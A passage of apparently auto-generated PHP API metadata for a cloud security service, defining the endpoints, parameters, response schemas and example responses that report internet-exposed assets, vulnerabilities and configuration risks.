Vulnerabilities'."\n" + .'- **ACCESSKEY_LEAK**：AccessKey Leakage Risks'."\n" + .'- **HC_WARN**：Baseline Risks'."\n" + .'- **HC\\_WEAK\\_EXPLOIT_WARN**：There is a risk of weak passwords exposed by the public network.'."\n" + .'- **HC\\_WEAK\\_PASSWORD_WARN**：Risk of weak password'."\n" + .'- **HC\\_HIGH\\_EXPLOIT_WARN**：There is a high risk of invasion'."\n" + .'- **HC\\_OTHER_WARN**：Security Configuration risk'."\n" + .'- **HC\\_DATABASE_WARN**：Database has security risks'."\n" + .'- **CLOUD\\_HC\\_SAS_OPEN**：Security protection has not been installed on the server'."\n" + .'- **CLOUD\\_HC\\_AEGIS_OFFLINE**：Server protection status is offline'."\n" + .'- **CLOUD\\_HC\\_ACCOUNT\\_DOUBLE_CHECK**：Two-Factor Authentication not Enabled for Primary Account'."\n" + .'- **CLOUD\\_HC_RDS**：RDS-database security policy failed, security risks'."\n" + .'- **CLOUD\\_HC_DDOS**：Risks in Anti-DDoS Pro Back-to-Origin Settings'."\n" + .'- **CLOUD\\_HC\\_HIGH_LEVEL**：Cloud product configuration has high risk'."\n" + .'- **CLOUD\\_HC\\_OTHER_LEVEL**：Cloud product configuration has medium and low risk risks'."\n" + .'- **OTHER_ATTACH**：Attacks'."\n" + .'- **OTHER\\_DATABASE_ATTACH**：Database has security risks'."\n" + .'- **REINFORCE_BASELINE**：Config Assessment'."\n" + .'- **REINFORCE_SUSPICIOUS**：Antivirus'."\n" + .'- **REINFORCE_ANALYSIS**：Log Analysis'."\n" + .'- **REINFORCE\\_AK_LEAK**：AccessKey Leaked Intelligence Detection'."\n" + .'- **REINFORCE\\_WEB_LOCK**：Website tamper-proofing capability not configured'."\n" + .'- **REINFORCE\\_BRUTE_FORCE**：Anti brute force cracking'."\n" + .'- **REINFORCE\\_XPRESS_INSTALL**：One-click client installation'."\n" + .'- **REINFORCE_RANSOMWARE**：Enable anti-extortion strategy'."\n" + .'- **REINFORCE\\_UNI_RANSOMWARE**：Anti-ransomware for Databases'."\n" + .'- **REINFORCE\\_VIRUS\\_SCHEDULE_SCAN**：Periodic virus scan policies not configured'."\n" + .'- **REINFORCE\\_IMAGE\\_REPO_SCAN**：No container image scan range configured'."\n" + .'- **REINFORCE\\_IMAGE\\_SCAN_TASK**：Image security scan'."\n" + .'- **REINFORCE\\_K8S\\_LOG_ANALYSIS**：Container K8s threat detection is disabled'."\n" + .'- **REINFORCE\\_CONTAINER_NETWORK**：Container Visualization'."\n" + .'', + 'type' => 'string', + 'example' => 'REINFORCE_WEB_LOCK', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"676F80E3-4B3F-43DA-9CBB-5FF79F202AA2\\",\\n \\"TotalCount\\": 15,\\n \\"Score\\": \\"95\\",\\n \\"CalTime\\": 1755744253000,\\n \\"Suggestions\\": [\\n {\\n \\"Points\\": 40,\\n \\"SuggestType\\": \\"SS_ALARM\\",\\n \\"Detail\\": [\\n {\\n \\"Title\\": \\"Website tamper-proofing capability not configured\\",\\n \\"Description\\": \\"Malicious tampering of Web pages will affect your normal access to web page content, and may also lead to serious economic losses, brand losses, and even political risks. The webpage tamper-proof service can monitor the website directory in real time and restore the tampered files or directories through backup, so as to ensure that the website information of important systems is not tampered with maliciously and prevent the occurrence of horse hanging, black chain, illegal implantation of terrorist threats, pornography and other content.\\",\\n \\"SubType\\": \\"REINFORCE_WEB_LOCK\\"\\n }\\n ]\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n \\n 40\\n SS_ALARM\\n \\n 您有6,160条安全告警，影响39台资产\\n ALARM_HIGH\\n 存在未处理的高危告警事件\\n \\n \\n 您有88条安全告警，影响25台资产\\n ALARM_MEDIUM\\n 存在未处理的中危告警事件\\n \\n \\n 您有1条安全告警，影响1台资产\\n ALARM_LOW\\n 存在未处理的低危告警事件\\n \\n \\n \\n 12\\n SS_VUL\\n \\n 您有34条漏洞，影响19台服务器\\n VUL_WIN\\n 存在未修复的Windows主机漏洞\\n \\n \\n 您有448条漏洞，影响68台服务器\\n VUL_LINUX\\n 存在未修复的Linux主机漏洞\\n \\n \\n 存在11个未检测的应急漏洞\\n VUL_EMR_UNCHECK\\n 存在未检测的应急漏洞\\n \\n \\n 存在1个未修复的应急漏洞\\n VUL_EMR_UNFIX\\n 存在未修复的应急漏洞\\n \\n \\n \\n 20\\n SS_HC\\n \\n 您有 17 台互联网可访问的服务器存在弱口令，可能已被黑客入侵，建议尽快加强密码强度\\n HC_WEAK_EXPLOIT_WARN\\n 存在公网暴露的弱口令风险\\n \\n \\n 您有 18 台服务器存在弱口令，建议尽快更换密码，同时加强密码强度\\n HC_WEAK_PASSWORD_WARN\\n 存在弱口令风险\\n \\n \\n 您有 105 台服务器存在安全合规配置风险，建议根据加固建议和业务需求进行修复加固\\n HC_OTHER_WARN\\n 存在安全配置风险\\n \\n \\n \\n 30\\n SS_AK\\n \\n 存在1个AK泄漏\\n ACCESSKEY_LEAK\\n 存在AK泄漏风险\\n \\n \\n \\n 28\\n SS_CLOUD_HC\\n \\n \\n CLOUD_HC_ACCOUNT_DOUBLE_CHECK\\n 主账号未开启双因素认证，账号存在安全风险\\n \\n \\n 存在5个高风险云产品配置检查项\\n CLOUD_HC_HIGH_LEVEL\\n 云产品配置存在高危风险\\n \\n \\n 存在16个中低危风险云产品配置检查项\\n CLOUD_HC_OTHER_LEVEL\\n 云产品配置存在中低危风险\\n \\n \\n \\n 5\\n OTHER\\n \\n 您有3,387次网络攻击\\n OTHER_ATTACH\\n 存在攻击事件\\n \\n \\n 15\\n 676F80E3-4B3F-43DA-9CBB-5FF79F202AA2\\n","errorExample":""}]', + 'title' => '查询安全风险处理建议详情', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeExposedInstanceCriteria' => [ + 'summary' => '获取查询暴露资产时支持的查询条件。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92075', + 'abilityTreeNodes' => [ + 'FEATUREsasAIJXMJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'Value', + 'in' => 'query', + 'schema' => [ + 'description' => '指定查询条件的值，支持模糊匹配。'."\n" + ."\n" + .'> 该参数支持暴露资产的资产名称、资产编号、资产公网IP地址、资产私网IP地址、暴露组件、暴露端口、暴露IP地址查询。', + 'type' => 'string', + 'required' => false, + 'example' => 'testInstanceName', + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号ID。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '127608589417****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '6D9CDB47-6191-4415-BE63-7E8B12CD4FBE', + ], + 'CriteriaList' => [ + 'description' => '查询暴露资产时支持的查询条件。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '查询条件的类型。取值：'."\n" + .'- **input**：输入型。表示使用该查询条件进行查询时需要手动输入查询内容。'."\n" + .'- **select**：选择型。表示使用该查询条件进行查询时需要从选择项列表（即**Values**值）中选择。', + 'type' => 'string', + 'example' => 'select', + ], + 'Name' => [ + 'description' => '查询条件的名称。', + 'type' => 'string', + 'example' => 'instanceId', + ], + 'Values' => [ + 'description' => ' '."\n" + .'**Type**（查询条件的类型）为**select**时，可选项的值。'."\n" + .'> **Type**（查询条件的类型）为**input**时，该参数返回值为空。', + 'type' => 'string', + 'example' => 'i-bp19r0fdd39idxhf****', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"6D9CDB47-6191-4415-BE63-7E8B12CD4FBE\\",\\n \\"CriteriaList\\": [\\n {\\n \\"Type\\": \\"select\\",\\n \\"Name\\": \\"instanceId\\",\\n \\"Values\\": \\"i-bp19r0fdd39idxhf****\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n \\n input\\n \\n exposureIp\\n \\n \\n input\\n \\n exposurePort\\n \\n \\n input\\n \\n exposureComponent\\n \\n \\n input\\n \\n instanceName\\n \\n \\n input\\n \\n instanceId\\n \\n 6D9CDB47-6191-4415-BE63-7E8B12CD4FBE\\n","errorExample":""}]', + 'title' => '查询暴露资产时支持的查询条件', + 'extraInfo' => ' ', + ], + 'DescribeExposedInstanceDetail' => [ + 'summary' => '查询指定服务器在互联网的暴露详情。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92076', + 'abilityTreeNodes' => [ + 'FEATUREsasAIJXMJ', + ], + 'autoTest' => true, + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的暴露在互联网的服务器类型资产的UUID或数据库类型资产的实例ID。'."\n" + .'> 您可以调用[DescribeExposedInstanceList](~~DescribeExposedInstanceList~~)接口查询暴露在互联网的服务器UUID或数据库实例ID。', + 'type' => 'string', + 'required' => true, + 'example' => 'fc82b966-4d70-4e01-bf4f-aa4076a5****', + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '阿里云账号（主账号）ID。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1232428423234****', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'C590482B-54A7-4273-8115-9DBE2DE46B26', + ], + 'ExposedChains' => [ + 'description' => '资产暴露详情链路信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '资产暴露详情链路信息。', + 'type' => 'object', + 'properties' => [ + 'ExposureIp' => [ + 'description' => '服务器类型资产的暴露IP或数据库类型资产的公网连接地址。', + 'type' => 'string', + 'example' => '47.99.XX.XX', + ], + 'GroupNo' => [ + 'description' => '服务器分组。', + 'type' => 'string', + 'example' => 'test-group****', + ], + 'InternetIp' => [ + 'description' => '服务器的公网IP。', + 'type' => 'string', + 'example' => '47.99.XX.XX', + ], + 'InstanceId' => [ + 'description' => '资产实例ID。', + 'type' => 'string', + 'example' => 'i-bp116qem8npvchqc****', + ], + 'ExposureType' => [ + 'description' => '暴露方式。取值：'."\n" + .'- **INTERNET_IP**：ECS公网IP'."\n" + .'- **SLB**：负载均衡SLB公网IP'."\n" + .'- **EIP**：弹性公网IP'."\n" + .'- **DNAT**：使用DNAT功能连接互联网的NAT网关'."\n" + ."\n" + .'- **DB_CONNECTION**：数据库公网连接', + 'type' => 'string', + 'example' => 'INTERNET_IP', + ], + 'IntranetIp' => [ + 'description' => '服务器的私网IP。', + 'type' => 'string', + 'example' => '192.168.XX.XX', + ], + 'ExposureTypeId' => [ + 'description' => '暴露方式对应的实例ID。不同暴露方式对应不同的实例ID，取值：'."\n" + .'- ExposureType为**INTERNET_IP**时：取值为空。'."\n" + .'- ExposureType为**SLB**时：取值为负载均衡公网实例ID。'."\n" + .'- ExposureType为**EIP**时：取值为弹性公网IP的实例ID。'."\n" + .'- ExposureType为**DNAT**时：取值为NAT网关实例ID。'."\n" + .'- ExposureType为**DB_CONNECTION**时：取值为数据库实例ID。', + 'type' => 'string', + 'example' => 'eip-bp1bkgowzam49rld3****', + ], + 'RegionId' => [ + 'description' => '资产所在地域。'."\n" + .'> Region ID和区域名称的对应关系，请参见[地域和可用区](~~40654~~)。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'Uuid' => [ + 'description' => '服务器类型资产的UUID或数据库类型资产的实例ID。', + 'type' => 'string', + 'example' => '4f9ce097-4a7d-48fe-baef-6960e5b6****', + ], + 'ExposurePort' => [ + 'description' => '暴露端口。', + 'type' => 'string', + 'example' => '22', + ], + 'InstanceName' => [ + 'description' => '资产实例名称。', + 'type' => 'string', + 'example' => 'worker-k8s-for-cs-c929ee2a145214f89a8b248005be5****', + ], + 'ExposureComponent' => [ + 'description' => '暴露在互联网的系统组件名称。', + 'type' => 'string', + 'example' => 'openssl,openssh', + ], + 'RealVulList' => [ + 'description' => '暴露在互联网上可被黑客利用的漏洞信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '暴露在互联网上可被黑客利用的漏洞信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '漏洞类型。取值：'."\n" + .'- **cve**：Linux漏洞'."\n" + .'- **sys**：Windows漏洞'."\n" + .'- **cms**：Web-CMS漏洞'."\n" + .'- **app**：应用漏洞'."\n" + .'- **emg**：应急漏洞'."\n" + .'- **sca**：中间件漏洞', + 'type' => 'string', + 'example' => 'sca', + ], + 'Necessity' => [ + 'description' => '漏洞修复必要性等级。取值包括： '."\n" + .'- **asap**：高'."\n" + .'- **later**：中'."\n" + .'- **nntf**：低 '."\n" + ."\n" + .'> 建议您尽快修复必要性等级为**高**的漏洞。', + 'type' => 'string', + 'example' => 'asap', + ], + 'Uuid' => [ + 'description' => '服务器UUID。', + 'type' => 'string', + 'example' => '4f9ce097-4a7d-48fe-baef-6960e5b6****', + ], + 'AliasName' => [ + 'description' => '漏洞别名。', + 'type' => 'string', + 'example' => 'RHSA-2022:0274-Important: polkit pkexec Local Privilege Escalation Vulnerability(CVE-2021-4034)', + ], + 'Name' => [ + 'description' => '漏洞名称。', + 'type' => 'string', + 'example' => 'SCA:ACSV-2020-052801', + ], + ], + ], + ], + 'AllVulList' => [ + 'description' => '该服务器上的所有漏洞列表信息。', + 'type' => 'array', + 'items' => [ + 'description' => '该服务器上的所有漏洞信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '漏洞类型。取值：'."\n" + .'- **cve**：Linux漏洞'."\n" + .'- **sys**：Windows漏洞'."\n" + .'- **cms**：Web-CMS漏洞'."\n" + .'- **app**：应用漏洞'."\n" + .'- **emg**：应急漏洞'."\n" + .'- **sca**：中间件漏洞', + 'type' => 'string', + 'example' => 'sca', + ], + 'Necessity' => [ + 'description' => '漏洞修复必要性等级。取值包括： '."\n" + .'- **asap**：高'."\n" + .'- **later**：中'."\n" + .'- **nntf**：低 '."\n" + ."\n" + .'> 建议您尽快修复必要性等级为**高**的漏洞。', + 'type' => 'string', + 'example' => 'asap', + ], + 'Uuid' => [ + 'description' => '服务器UUID。', + 'type' => 'string', + 'example' => '4f9ce097-4a7d-48fe-baef-6960e5b6****', + ], + 'AliasName' => [ + 'description' => '漏洞别名。', + 'type' => 'string', + 'example' => 'RHSA-2022:0274-Important: polkit pkexec Local Privilege Escalation Vulnerability(CVE-2021-4034)', + ], + 'Name' => [ + 'description' => '漏洞名称。', + 'type' => 'string', + 'example' => 'SCA:ACSV-2020-052801', + ], + ], + ], + ], + 'CspmRiskList' => [ + 'description' => '该资产的CSPM风险列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'CheckName' => [ + 'description' => '检查项名称。', + 'type' => 'string', + 'example' => '使用SSH密钥对登录', + ], + 'RiskLevel' => [ + 'description' => '风险等级。取值：'."\n" + ."\n" + .'- **HIGH**：高危'."\n" + .'- **MEDIUM**：中危'."\n" + .'- **LOW**：低危', + 'type' => 'string', + 'example' => 'HIGH', + ], + 'InstanceId' => [ + 'description' => '资产的实例ID。', + 'type' => 'string', + 'example' => 'i-bp14ggqzi9k6ocfb****', + ], + 'RegionId' => [ + 'description' => '资产的地域ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'AssetType' => [ + 'description' => '资产类型，取值：'."\n" + ."\n" + .'- 0：ECS'."\n" + ."\n" + .'- 3：RDS'."\n" + ."\n" + .'- 4：MONGODB'."\n" + ."\n" + .'- 5：RDS-Redis版', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'AssetTypeName' => [ + 'description' => '云资产类型名称，取值：'."\n" + ."\n" + .'- **ECS**'."\n" + ."\n" + .'- **RDS**'."\n" + ."\n" + .'- **KVSTORE**'."\n" + ."\n" + .'- **MONGODB**', + 'type' => 'string', + 'example' => 'ECS', + ], + 'AssetSubType' => [ + 'description' => '云产品的子类型。'."\n" + .'资产的类型-子类型。取值：'."\n" + ."\n" + .'- **0**：云服务器 ECS '."\n" + .' * **100**：实例'."\n" + .'- **3**：云数据库 RDS'."\n" + .' * **0**：实例'."\n" + .'- **4**：云数据库 MongoDB 版'."\n" + .' * **0**：实例'."\n" + .'- **5**：云数据库 Tair（兼容 Redis）'."\n" + .' * **0**：实例', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'AssetSubTypeName' => [ + 'description' => '云资产的子类型名称，取值：'."\n" + ."\n" + .'- **INSTANCE**：MONGODB，RDS，RDS-Redis版。'."\n" + ."\n" + .'- **ECS_INSTANCE**：ECS。', + 'type' => 'string', + 'example' => 'INSTANCE', + ], + 'Vendor' => [ + 'description' => '资产厂商，取值：'."\n" + ."\n" + .'- **0**：阿里云资产', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"C590482B-54A7-4273-8115-9DBE2DE46B26\\",\\n \\"ExposedChains\\": [\\n {\\n \\"ExposureIp\\": \\"47.99.XX.XX\\",\\n \\"GroupNo\\": \\"test-group****\\",\\n \\"InternetIp\\": \\"47.99.XX.XX\\",\\n \\"InstanceId\\": \\"i-bp116qem8npvchqc****\\",\\n \\"ExposureType\\": \\"INTERNET_IP\\",\\n \\"IntranetIp\\": \\"192.168.XX.XX\\",\\n \\"ExposureTypeId\\": \\"eip-bp1bkgowzam49rld3****\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"Uuid\\": \\"4f9ce097-4a7d-48fe-baef-6960e5b6****\\",\\n \\"ExposurePort\\": \\"22\\",\\n \\"InstanceName\\": \\"worker-k8s-for-cs-c929ee2a145214f89a8b248005be5****\\",\\n \\"ExposureComponent\\": \\"openssl,openssh\\",\\n \\"RealVulList\\": [\\n {\\n \\"Type\\": \\"sca\\",\\n \\"Necessity\\": \\"asap\\",\\n \\"Uuid\\": \\"4f9ce097-4a7d-48fe-baef-6960e5b6****\\",\\n \\"AliasName\\": \\"RHSA-2022:0274-Important: polkit pkexec Local Privilege Escalation Vulnerability(CVE-2021-4034)\\",\\n \\"Name\\": \\"SCA:ACSV-2020-052801\\"\\n }\\n ],\\n \\"AllVulList\\": [\\n {\\n \\"Type\\": \\"sca\\",\\n \\"Necessity\\": \\"asap\\",\\n \\"Uuid\\": \\"4f9ce097-4a7d-48fe-baef-6960e5b6****\\",\\n \\"AliasName\\": \\"RHSA-2022:0274-Important: polkit pkexec Local Privilege Escalation Vulnerability(CVE-2021-4034)\\",\\n \\"Name\\": \\"SCA:ACSV-2020-052801\\"\\n }\\n ],\\n \\"CspmRiskList\\": [\\n {\\n \\"CheckName\\": \\"使用SSH密钥对登录\\",\\n \\"RiskLevel\\": \\"HIGH\\",\\n \\"InstanceId\\": \\"i-bp14ggqzi9k6ocfb****\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"AssetType\\": 0,\\n \\"AssetTypeName\\": \\"ECS\\",\\n \\"AssetSubType\\": 100,\\n \\"AssetSubTypeName\\": \\"INSTANCE\\",\\n \\"Vendor\\": 0\\n }\\n ]\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n C590482B-54A7-4273-8115-9DBE2DE46B26\\n \\n EIP\\n i-bp116qem8npvchqc****\\n openssl,openssh\\n 22\\n 192.168.XX.XX\\n worker-k8s-for-cs-c929ee2a145214f89a8b248005be5****\\n \\n sca\\n 4f9ce097-4a7d-48fe-baef-6960e5b6****\\n fastjson <= 1.2.68 反序列化远程代码执行漏洞\\n asap\\n SCA:ACSV-2020-052801\\n \\n \\n sca\\n 4f9ce097-4a7d-48fe-baef-6960e5b6****\\n fastjson <= 1.2.68 反序列化远程代码执行漏洞\\n asap\\n SCA:ACSV-2020-052801\\n \\n \\n sca\\n 4f9ce097-4a7d-48fe-baef-6960e5b6****\\n Kubernetes kubelet 资源管理错误漏洞\\n nntf\\n SCA:CVE-2020-8557\\n \\n 4f9ce097-4a7d-48fe-baef-6960e5b6****\\n 47.99.XX.XX\\n 47.99.XX.XX\\n eip-bp1bkgowzam49rld3****\\n cn-hangzhou\\n \\n","errorExample":""}]', + 'title' => '查询指定服务器的暴露详情', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeExposedInstanceList' => [ + 'summary' => '查询暴露在互联网的资产信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92077', + 'abilityTreeNodes' => [ + 'FEATUREsasAIJXMJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。'."\n" + ."\n", + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'GroupId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的服务器分组ID。'."\n" + .'> 您可以调用[DescribeAllGroups](~~DescribeAllGroups~~)接口查询服务器分组ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '9535356', + ], + ], + [ + 'name' => 'VulStatus', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的资产是否存在漏洞。取值：'."\n" + .'- **true**：存在'."\n" + .'- **false**：不存在', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'HealthStatus', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的资产是否存在基线弱口令风险。取值：'."\n" + ."\n" + .'- **true**：存在'."\n" + .'- **false**：不存在', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'ExposureComponent', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的暴露在互联网中的系统组件名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'openssl', + ], + ], + [ + 'name' => 'ExposurePort', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的暴露端口。', + 'type' => 'string', + 'required' => false, + 'example' => '22', + ], + ], + [ + 'name' => 'ExposureIp', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的服务器类型的公网IP或数据库类型的公网连接地址。', + 'type' => 'string', + 'required' => false, + 'example' => '116.12.XX.XX', + ], + ], + [ + 'name' => 'InstanceId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的资产实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'i-bp1g6wxdwps7s9dz****', + ], + ], + [ + 'name' => 'InstanceName', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的资产名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'abc_centos7.2_005', + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号主账号ID。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '16670360956*****', + ], + ], + [ + 'name' => 'AssetType', + 'in' => 'query', + 'schema' => [ + 'description' => '资产类型，取值：'."\n" + ."\n" + .'- **0**：ECS'."\n" + ."\n" + .'- **3**：RDS'."\n" + ."\n" + .'- **4**：MONGODB'."\n" + ."\n" + .'- **5**：RDS-Redis版', + 'type' => 'string', + 'required' => false, + 'example' => '0', + ], + ], + [ + 'name' => 'CspmStatus', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的资产是否存在CSPM风险。取值：'."\n" + ."\n" + .'- **true**：存在'."\n" + .'- **false**：不存在', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'ExposureComponentBizType', + 'in' => 'query', + 'schema' => [ + 'description' => '暴露组件类型。', + 'type' => 'string', + 'required' => false, + 'example' => 'system_service', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => '598A4A61-ABA7-456B-8725-7378258276D9', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '暴露在互联网的资产数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + ], + ], + 'ExposedInstances' => [ + 'description' => '资产暴露分析的列表信息。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'ExposureIp' => [ + 'description' => '暴露在互联网上的公网IP。', + 'type' => 'string', + 'example' => '116.12.XX.XX', + ], + 'TotalVulCount' => [ + 'description' => '暴露在互联网上可被黑客利用的漏洞总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'InternetIp' => [ + 'description' => '服务器公网IP。', + 'type' => 'string', + 'example' => '116.12.XX.XX', + ], + 'NntfVulCount' => [ + 'description' => '暴露在互联网上可被黑客利用的低危漏洞数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'InstanceId' => [ + 'description' => '资产实例ID。', + 'type' => 'string', + 'example' => 'i-bp1g6wxdwps7s9dz****', + ], + 'ExposureType' => [ + 'description' => '暴露方式。取值：'."\n" + .'- **INTERNET_IP**：ECS公网IP'."\n" + .'- **SLB**：负载均衡SLB公网IP'."\n" + .'- **EIP**：弹性公网IP'."\n" + .'- **DNAT**：使用DNAT功能连接互联网的NAT网关'."\n" + ."\n" + .'- **DB_CONNECTION**：数据库公网连接', + 'type' => 'string', + 'example' => 'INTERNET_IP', + ], + 'IntranetIp' => [ + 'description' => '服务器私网IP。', + 'type' => 'string', + 'example' => '192.168.XX.XX', + ], + 'RegionId' => [ + 'description' => '资产所在区域的ID。'."\n" + .'> Region 